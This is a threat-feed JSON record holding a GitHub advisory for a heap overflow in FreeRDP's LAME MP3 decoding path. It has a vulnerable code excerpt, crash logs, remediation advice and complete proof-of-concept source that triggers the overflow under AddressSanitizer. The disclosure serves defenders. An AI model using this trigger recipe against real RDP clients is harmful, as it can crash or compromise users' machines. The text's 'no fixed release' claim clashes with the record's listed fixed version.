{"schema":"threatline.record/2","record":{"id":"GHSA-52xc-5973-w5vv","aliases":["GHSA-52xc-5973-w5vv"],"summary":"LAME MP3 decoding places right-channel PCM beyond FreeRDP's heap reservation","details":"### Summary\r\n\r\nA malicious RDP server can supply MP3 audio to a FreeRDP client built with `WITH_LAME=ON` and `WITH_DSP_FFMPEG=OFF`. When the local audio backend uses FreeRDP's DSP fallback, `freerdp_dsp_decode_mp3` reserves one byte count but treats that count as `short` elements when positioning the right-channel PCM pointer. The pointer begins at the end of the requested allocation, so decoded right-channel samples cross the heap boundary.\r\n\r\nThe finding was reproduced over a real TLS/RDP connection using the stock FreeRDP shadow server, stock RDPSND negotiation and WAVE2 serializer, and an unmodified ASan-instrumented client. The client selected stereo MP3 format `0x0055`. A decoder-accepted 10,166-byte truncated CBR MP3 passed through `rdpsnd_recv_wave2_pdu` and `rdpsnd_treat_wave`; three of three attack sessions terminated with ASan at `freerdp_dsp_decode_mp3` line 593. A three-byte control followed the same path and remained alive and ASan-clean for the full observation window.\r\n\r\nThe production DSP replay also used the real LAME `hip_decode` implementation directly. ASan reported a heap-buffer-overflow when FreeRDP read a right-channel sample 0 bytes after a 352,896-byte allocation. Because the LAME library itself was not instrumented, the trace reports FreeRDP's subsequent read rather than attributing an instrumented write to LAME.\r\n\r\nThe demonstrated impact is client termination under ASan. The source establishes a native decoder output pointer outside FreeRDP's reservation, but this report does not claim demonstrated code execution, adjacent-object control, or information disclosure.\r\n\r\n### Prerequisites\r\n\r\n- The client is built with `WITH_LAME=ON`.\r\n- The client is built with `WITH_DSP_FFMPEG=OFF`; the default FFmpeg DSP path is not affected by this function.\r\n- An RDP server negotiates `WAVE_FORMAT_MPEGLAYER3` through `rdpsnd` and sends MP3 audio.\r\n- The selected local audio backend does not consume the negotiated MP3 format directly, causing FreeRDP to use DSP fallback.\r\n- The attacker can send audio in the established server session.\r\n\r\n### Technical details\r\n\r\n`channels/rdpsnd/client/rdpsnd_main.c` takes `SNDC_WAVE` audio from the server-controlled stream. If the local device does not accept the negotiated format, `rdpsnd_treat_wave` passes the data and `AUDIO_FORMAT` to `freerdp_dsp_decode`.\r\n\r\nIn the non-FFmpeg build, `libfreerdp/codec/dsp.c` dispatches `WAVE_FORMAT_MPEGLAYER3` to `freerdp_dsp_decode_mp3`. For stereo 44.1 kHz audio, the vulnerable code computes:\r\n\r\n```c\r\nconst size_t buffer_size =\r\n    2 * context->common.format.nChannels * context->common.format.nSamplesPerSec;\r\n\r\nif (!Stream_EnsureCapacity(context->common.buffer, 2 * buffer_size))\r\n    return FALSE;\r\n\r\nshort* pcm_l = Stream_BufferAs(context->common.buffer, short);\r\nshort* pcm_r = Stream_BufferAs(context->common.buffer, short) + buffer_size;\r\nconst int rc = hip_decode(context->hip, src, size, pcm_l, pcm_r);\r\n```\r\n\r\n`buffer_size` is 176,400. FreeRDP requests 352,800 bytes, then advances the `short*` by 176,400 elements, or 352,800 bytes. `pcm_r` therefore starts at the end of the requested allocation. LAME's `hip_decode` has no output-capacity parameter and returns the number of samples placed in both arrays. FreeRDP subsequently reads `pcm_l[x]` and `pcm_r[x]` for every returned sample.\r\n\r\nThe tested stream allocation rounded up to 352,896 bytes, leaving 96 bytes after the requested end. Forty-eight right-channel `short` samples fit in that slack. ASan reported the next two-byte `pcm_r` read exactly at the end of the actual allocation.\r\n\r\nFor the network replay, the server started with a real stereo 44.1 kHz, 128 kbps CBR MP3 generated by libmp3lame, disabled the bit reservoir, and sent the suffix beginning at byte 283. The resulting 10,166-byte stream is intentionally truncated. A bounded probe showed that it makes `hip_decode` emit PCM on the first call, whereas the complete stream only primes the decoder and would make FreeRDP reject the first WAVE2 PDU before a later call.\r\n\r\nA disposable server wrapper constrained the hostile server's advertised audio format to stereo MP3 and supplied the encoded bytes through the public `SendSamples2` API. Stock RDPSND negotiation selected format `0x0055`; stock `SendSamples2` serialized the WAVE2 PDU. The unmodified client parsed it in `rdpsnd_recv_wave2_pdu`, passed all 10,166 bytes through `rdpsnd_treat_wave`, and reached the production decoder. A PCM-only headless output plugin rejected native MP3 like an ordinary PCM backend and did not call or wrap the decoder.\r\n\r\nThe vulnerable layout entered the tree before 2.0.0-rc3. Direct snapshot inspection confirmed it in 2.0.0, 3.0.0, 3.31.1, the tested 3.31.2-development source, and current `master`. No exact public advisory, fixing commit, or fixed release was found.\r\n\r\n### Reproduction\r\n\r\nThe sibling `poc/` directory contains a source-only reproducer. It requires an ASan-instrumented FreeRDP build configured with the affected build flags, matching source, LAME headers, and the matching shared LAME library.\r\n\r\n```sh\r\ncd poc\r\nDEPENDENCY_LIBRARY_DIR=LIBRARY_PATHS \\\r\n    ./run.sh SOURCE_DIR BUILD_DIR LAME_INCLUDE_DIR LAME_LIBRARY\r\n```\r\n\r\nObserved output from the independent source-level replay:\r\n\r\n```text\r\nPASS control: truncated MP3 was rejected without an ASan finding\r\nPASS positive: production freerdp_dsp_decode used the real LAME hip decoder\r\nPASS positive: ASan detected a heap-buffer-overflow while FreeRDP read right-channel PCM\r\n```\r\n\r\nThe packaged PoC does not use the network and its positive case intentionally aborts the ASan-instrumented process. A separate full TLS/RDP/RDPSND replay produced:\r\n\r\n```text\r\ncontrol: MP3 0x0055 selected; 3-byte WAVE2 payload; alive_after_window=1; ASan clean\r\nattack 1: MP3 0x0055 selected; 10166-byte WAVE2 payload; ASan at dsp.c:593; client_rc=1\r\nattack 2: MP3 0x0055 selected; 10166-byte WAVE2 payload; ASan at dsp.c:593; client_rc=1\r\nattack 3: MP3 0x0055 selected; 10166-byte WAVE2 payload; ASan at dsp.c:593; client_rc=1\r\n```\r\n\r\nThe network runner requires a matching shadow server/client pair, an X display, a preload wrapper, and a staged audio plugin, so the focused source-only reproducer remains the portable disclosure artefact.\r\n\r\n### Remediation\r\n\r\nSize the intermediate storage in explicit per-channel samples and use checked multiplication for the combined byte reservation. With the present layout, FreeRDP must reserve at least `2 * buffer_size * sizeof(short)` before placing `pcm_r` at `buffer_size` elements. Prefer a bounded decoder interface if one is available, and reject any returned sample count that exceeds either channel's capacity before interleaving PCM.\r\n\r\nAdd sanitizer-backed regression tests for stereo MP3, malformed/truncated input, mono and stereo variants, and the real `rdpsnd` fallback route. The test should verify that both channel buffers remain inside the allocation for the decoder's maximum returned frame.\r\n\r\n### Portable PoC files\r\n\r\n<!-- BEGIN FILE: poc/real_decode.c -->\r\n```c\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n#include <lame/lame.h>\r\n\r\n#include <freerdp/codec/audio.h>\r\n#include <freerdp/codec/dsp.h>\r\n#include <winpr/stream.h>\r\n\r\nstatic int make_mp3(BYTE** data, size_t* size)\r\n{\r\n\tlame_t enc = lame_init();\r\n\tif (!enc)\r\n\t\treturn 1;\r\n\r\n\tlame_set_in_samplerate(enc, 44100);\r\n\tlame_set_num_channels(enc, 2);\r\n\tlame_set_mode(enc, STEREO);\r\n\tlame_set_brate(enc, 128);\r\n\tlame_set_quality(enc, 2);\r\n\tif (lame_init_params(enc) < 0)\r\n\t\treturn 2;\r\n\r\n\tconst int samples = 1152 * 8;\r\n\tshort* pcm = calloc((size_t)samples * 2, sizeof(short));\r\n\tif (!pcm)\r\n\t\treturn 3;\r\n\tfor (int x = 0; x < samples; x++)\r\n\t{\r\n\t\tpcm[2 * x] = (short)((x % 200) * 120 - 12000);\r\n\t\tpcm[2 * x + 1] = (short)(12000 - (x % 200) * 120);\r\n\t}\r\n\r\n\tconst size_t capacity = 16384;\r\n\tBYTE* mp3 = calloc(1, capacity);\r\n\tif (!mp3)\r\n\t\treturn 4;\r\n\r\n\tint length = lame_encode_buffer_interleaved(enc, pcm, samples, mp3, (int)capacity);\r\n\tfree(pcm);\r\n\tif (length < 0)\r\n\t\treturn 5;\r\n\tconst int flushed = lame_encode_flush(enc, mp3 + length, (int)(capacity - (size_t)length));\r\n\tif (flushed < 0)\r\n\t\treturn 6;\r\n\tlength += flushed;\r\n\tlame_close(enc);\r\n\t*data = mp3;\r\n\t*size = (size_t)length;\r\n\treturn 0;\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tBYTE* mp3 = NULL;\r\n\tsize_t mp3_len = 0;\r\n\tconst int erc = make_mp3(&mp3, &mp3_len);\r\n\tif (erc != 0)\r\n\t{\r\n\t\tfprintf(stderr, \"MP3 generation failed: %d\\n\", erc);\r\n\t\treturn erc;\r\n\t}\r\n\tprintf(\"generated_mp3=%zu bytes\\n\", mp3_len);\r\n\r\n\tFREERDP_DSP_CONTEXT* dsp = freerdp_dsp_context_new(FALSE);\r\n\twStream* out = Stream_New(NULL, 4096);\r\n\tif (!dsp || !out)\r\n\t\treturn 10;\r\n\r\n\tAUDIO_FORMAT format = { 0 };\r\n\tformat.wFormatTag = WAVE_FORMAT_MPEGLAYER3;\r\n\tformat.nChannels = 2;\r\n\tformat.nSamplesPerSec = 44100;\r\n\tformat.nAvgBytesPerSec = 16000;\r\n\tformat.nBlockAlign = 1;\r\n\tformat.wBitsPerSample = 16;\r\n\r\n\tif (!freerdp_dsp_context_reset(dsp, &format, 0))\r\n\t{\r\n\t\tfprintf(stderr, \"context reset failed\\n\");\r\n\t\treturn 11;\r\n\t}\r\n\r\n\tif ((argc > 1) && (strcmp(argv[1], \"control\") == 0))\r\n\t{\r\n\t\tconst BYTE truncated[] = { 0x49, 0x44, 0x33 };\r\n\t\tconst BOOL ok = freerdp_dsp_decode(dsp, &format, truncated, sizeof(truncated), out);\r\n\t\tprintf(\"control_decode=%d output=%zu\\n\", ok, Stream_GetPosition(out));\r\n\t}\r\n\telse\r\n\t{\r\n\t\tprintf(\"decoding through freerdp_dsp_decode and real hip_decode\\n\");\r\n\t\tfflush(stdout);\r\n\t\tfor (int pass = 0; pass < 16; pass++)\r\n\t\t{\r\n\t\t\tconst size_t size = (pass == 0) ? mp3_len : 0;\r\n\t\t\tconst BOOL ok = freerdp_dsp_decode(dsp, &format, mp3, size, out);\r\n\t\t\tprintf(\"attack_decode[%d]=%d input=%zu output=%zu\\n\", pass, ok, size,\r\n\t\t\t       Stream_GetPosition(out));\r\n\t\t\tfflush(stdout);\r\n\t\t}\r\n\t}\r\n\r\n\tStream_Free(out, TRUE);\r\n\tfreerdp_dsp_context_free(dsp);\r\n\tfree(mp3);\r\n\treturn 0;\r\n}\r\n```\r\n<!-- END FILE: poc/real_decode.c -->\r\n\r\n<!-- BEGIN FILE: poc/run.sh -->\r\n```bash\r\n#!/usr/bin/env bash\r\nset -euo pipefail\r\n\r\nif [[ $# -ne 4 ]]; then\r\n    echo \"usage: $0 SOURCE_DIR BUILD_DIR LAME_INCLUDE_DIR LAME_LIBRARY\" >&2\r\n    exit 2\r\nfi\r\n\r\nPOC_DIR=$(cd \"$(dirname \"$0\")\" && pwd)\r\nSOURCE=$(cd \"$1\" && pwd)\r\nBUILD=$(cd \"$2\" && pwd)\r\nLAME_INCLUDE=$(cd \"$3\" && pwd)\r\nLAME_LIBRARY=$(realpath \"$4\")\r\n\r\nif [[ ! -f \"$LAME_INCLUDE/lame/lame.h\" ]]; then\r\n    echo \"LAME_INCLUDE_DIR must contain lame/lame.h\" >&2\r\n    exit 1\r\nfi\r\nif [[ ! -f \"$LAME_LIBRARY\" ]]; then\r\n    echo \"LAME_LIBRARY must name a libmp3lame shared library\" >&2\r\n    exit 1\r\nfi\r\nif [[ ! -f \"$BUILD/CMakeCache.txt\" ]]; then\r\n    echo \"BUILD_DIR must be a configured FreeRDP build\" >&2\r\n    exit 1\r\nfi\r\ngrep -q '^WITH_DSP_FFMPEG:BOOL=OFF$' \"$BUILD/CMakeCache.txt\"\r\ngrep -q '^WITH_LAME:BOOL=ON$' \"$BUILD/CMakeCache.txt\"\r\n\r\nfind_library() {\r\n    local pattern=$1\r\n    local library\r\n    library=$(find \"$BUILD\" -type f -name \"$pattern\" -print | sort -V | tail -n 1)\r\n    if [[ -z \"$library\" ]]; then\r\n        echo \"required library not found: $pattern\" >&2\r\n        exit 1\r\n    fi\r\n    printf '%s\\n' \"$library\"\r\n}\r\n\r\nCORE_LIB=$(find_library 'libfreerdp3.so.*')\r\nWINPR_LIB=$(find_library 'libwinpr3.so.*')\r\nif ! readelf -d \"$CORE_LIB\" 2>/dev/null | grep -q 'libasan'; then\r\n    echo \"BUILD_DIR must contain an AddressSanitizer-instrumented FreeRDP build\" >&2\r\n    exit 1\r\nfi\r\n\r\nWORK_ROOT=${POC_WORK_ROOT:-$PWD}\r\nWORK=$(mktemp -d \"$WORK_ROOT/freerdp-mp3-poc.XXXXXX\")\r\ncleanup() {\r\n    if [[ ${KEEP_ARTIFACTS:-0} == 1 ]]; then\r\n        echo \"artifacts retained in $WORK\"\r\n    else\r\n        rm -rf \"$WORK\"\r\n    fi\r\n}\r\ntrap cleanup EXIT INT TERM\r\n\r\ncc -std=gnu11 -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \\\r\n    -I\"$SOURCE/include\" -I\"$SOURCE/winpr/include\" \\\r\n    -I\"$BUILD\" -I\"$BUILD/include\" -I\"$BUILD/winpr/include\" \\\r\n    -I\"$LAME_INCLUDE\" \"$POC_DIR/real_decode.c\" \\\r\n    \"$CORE_LIB\" \"$WINPR_LIB\" \"$LAME_LIBRARY\" \\\r\n    -Wl,--allow-shlib-undefined -lm -o \"$WORK/real_decode\"\r\n\r\nBUILD_LIBRARY_PATHS=$(find \"$BUILD\" -type f -name '*.so.*' -printf '%h\\n' | sort -u | paste -sd: -)\r\nLAME_LIBRARY_DIR=$(dirname \"$LAME_LIBRARY\")\r\nLIBRARY_PATHS=\"$BUILD_LIBRARY_PATHS:$LAME_LIBRARY_DIR\"\r\nif [[ -n ${DEPENDENCY_LIBRARY_DIR:-} ]]; then\r\n    LIBRARY_PATHS=\"$LIBRARY_PATHS:$DEPENDENCY_LIBRARY_DIR\"\r\nfi\r\n\r\nASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1 \\\r\n    LD_LIBRARY_PATH=\"$LIBRARY_PATHS\" \\\r\n    \"$WORK/real_decode\" control >\"$WORK/control.log\" 2>&1\r\n\r\nset +e\r\nASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1 \\\r\n    LD_LIBRARY_PATH=\"$LIBRARY_PATHS\" \\\r\n    \"$WORK/real_decode\" >\"$WORK/attack.log\" 2>&1\r\nATTACK_RC=$?\r\nset -e\r\n\r\ngrep -q 'control_decode=0 output=0' \"$WORK/control.log\"\r\nif grep -q 'AddressSanitizer:' \"$WORK/control.log\"; then\r\n    echo \"control unexpectedly produced an AddressSanitizer finding\" >&2\r\n    exit 1\r\nfi\r\ntest \"$ATTACK_RC\" -ne 0\r\ngrep -q 'AddressSanitizer: heap-buffer-overflow' \"$WORK/attack.log\"\r\ngrep -q 'READ of size 2' \"$WORK/attack.log\"\r\ngrep -q 'freerdp_dsp_decode_mp3' \"$WORK/attack.log\"\r\n\r\necho 'PASS control: truncated MP3 was rejected without an ASan finding'\r\necho 'PASS positive: production freerdp_dsp_decode used the real LAME hip decoder'\r\necho 'PASS positive: ASan detected a heap-buffer-overflow while FreeRDP read right-channel PCM'\r\n```\r\n<!-- END FILE: poc/run.sh -->","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-52xc-5973-w5vv","source_modified_at":"2026-09-30T21:43:29Z","fetched_at":"2026-10-28T01:10:53.534015Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 2.0.0, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-52xc-5973-w5vv","source_modified_at":"2026-09-30T21:43:29Z","fetched_at":"2026-10-28T01:10:53.534015Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":7.1,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-30T21:43:29Z","modified_at":"2026-09-30T21:43:29Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-52xc-5973-w5vv","fetched_at":"2026-10-28T01:10:53.534015Z","source_modified_at":"2026-09-30T21:43:29Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-30T21:43:29Z","content_hash":"5d761dad8840d65a365e6b9156bbe7a1ec894256f76da681be0dc0517b8ab432"}}
